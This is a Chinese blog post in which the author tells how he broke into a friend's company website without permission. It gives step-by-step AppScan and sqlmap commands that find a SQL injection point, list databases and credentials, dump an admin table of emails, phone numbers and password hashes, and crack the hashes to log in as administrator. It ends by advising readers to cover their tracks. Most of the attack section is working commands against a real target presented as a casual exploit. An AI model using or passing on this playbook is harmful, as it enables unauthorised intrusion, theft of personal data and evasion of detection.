最近在研究Web安全相關的知識,特別是SQL註入類的相關知識。接觸了一些與SQL註入相關的工具。周末在家閑著無聊,想把平時學的東東結合起來攻擊一下身邊某個小伙伴去的公司,看看能不能得逞。不試不知道,一試還真TM得逞了,內心有些小激動,特在此寫博文一篇,來記錄下我是如何一步步攻破這家互聯網公司的。 【 ...
最近在研究Web安全相關的知識,特別是SQL註入類的相關知識。接觸了一些與SQL註入相關的工具。周末在家閑著無聊,想把平時學的東東結合起來攻擊一下身邊某個小伙伴去的公司,看看能不能得逞。不試不知道,一試還真TM得逞了,內心有些小激動,特在此寫博文一篇,來記錄下我是如何一步步攻破這家互聯網公司的。
【作案工具介紹】
(1) AppScan滲透掃描工具
Appscan是Web應用程式滲透測試舞臺上使用最廣泛的工具之一。它是一個桌面應用程式,它有助於專業安全人員進行Web應用程式自動化脆弱性評估。
(2) Sqlmap滲透測試工具
Sqlmap是一個自動化的SQL註入工具,其主要功能是掃描,發現並利用給定的URL的SQL註入漏洞。
【作案細節如下】
首先使用Appscan工具,對www.xxx.com互聯網公司的官網進行掃描,掃描結果如下:
在這56個安全性問題中,找到你感興趣的鏈接,例如下麵這條:
http://www.xxx.com/system/cms/show?id=1
為何要挑出這一條呢?因為它對於SQL註入比較典型,下麵普及下SQL註入常用手法。首先用如下語句,確定該網站是否存在註入點:
http://192.168.16.128/news.php?id=1 原網站
http://192.168.16.128/news.php?id=1’ 出錯或顯示不正常
http://192.168.16.128/news.php?id=1 and 1=1 出錯或顯示不正常
http://192.168.16.128/news.php?id=1 and 1=2 出錯或顯示不正常
如果有出錯,說明存在註入點。
在判斷完http://www.xxx.com/system/cms/show?id=1該鏈接存在註入點後,接下來就啟動我們的滲透測試工具Sqlmap,進行下一步的註入工作,詳細過程如下:
1) 再次確認目標註入點是否可用:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1
參數:
-u:指定註入點url
結果:
註入結果展示:
a. 參數id存在基於布爾的盲註,即可以根據返回頁面判斷條件真假的註入。
b. 參數id存在基於時間的盲註,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
c. 資料庫類型為:MySql 5.0.12
2) 暴庫所有資料庫:
一條命令即可曝出該sqlserver中所有資料庫名稱,命令如下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --dbs
參數:
--dbs
:dbs前面有兩條杠,列出所有資料庫。
結果:
結果顯示該sqlserver中共包含3個可用的資料庫。
3) 獲取當前使用的資料庫
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-db
參數:
--current-db
:當前所使用的資料庫。
結果:
4) 獲取當前資料庫使用賬戶
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-user
5) 列出sqlserver所有用戶
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --users
6) 獲取當前用戶資料庫賬戶與密碼
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --passwords
結果顯示該用戶可能無讀取相關係統的許可權。
7) 列出資料庫中的表
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store --tables
參數:
-D:指定資料庫名稱
--tables
:列出表
結果:
結果顯示共列出了69張表。
8) 列出表中欄位
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin --columns
參數:
-D:指定資料庫名稱
-T:指定要列出欄位的表
--columns
:指定列出欄位
結果:
9)暴欄位內容
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --dump
參數:
-C :指定要暴的欄位
--dump
:將結果導出
如果欄位內容太多,需要花費很多時間。可以指定導出特定範圍的欄位內容,命令如下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --start 1 --stop 10 --dump
參數:
--start
:指定開始的行
--stop
:指定結束的行
此條命令的含義為:導出資料庫xxx_store中的表mall_admin中的關於欄位(ag_id,email,id,mobile,name,password,status)中的第1到第10行的數據內容。
結果如下:
通過上圖,我們可以看到admin表中的用戶信息了。我們將password欄位通過md5解密,可以得到hash的原文密碼,通過用戶名和密碼,我們就可以登錄該網站了。
至此,我們已成功入侵到一家公司的後臺,並拿到了相關的數據。不過要在這裡提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦乾凈,不讓別人發現你了!
本文由騰訊WeTest團隊提供,更多資訊可直接戳鏈接查看:熊哥club »
轉載請註明:熊哥club »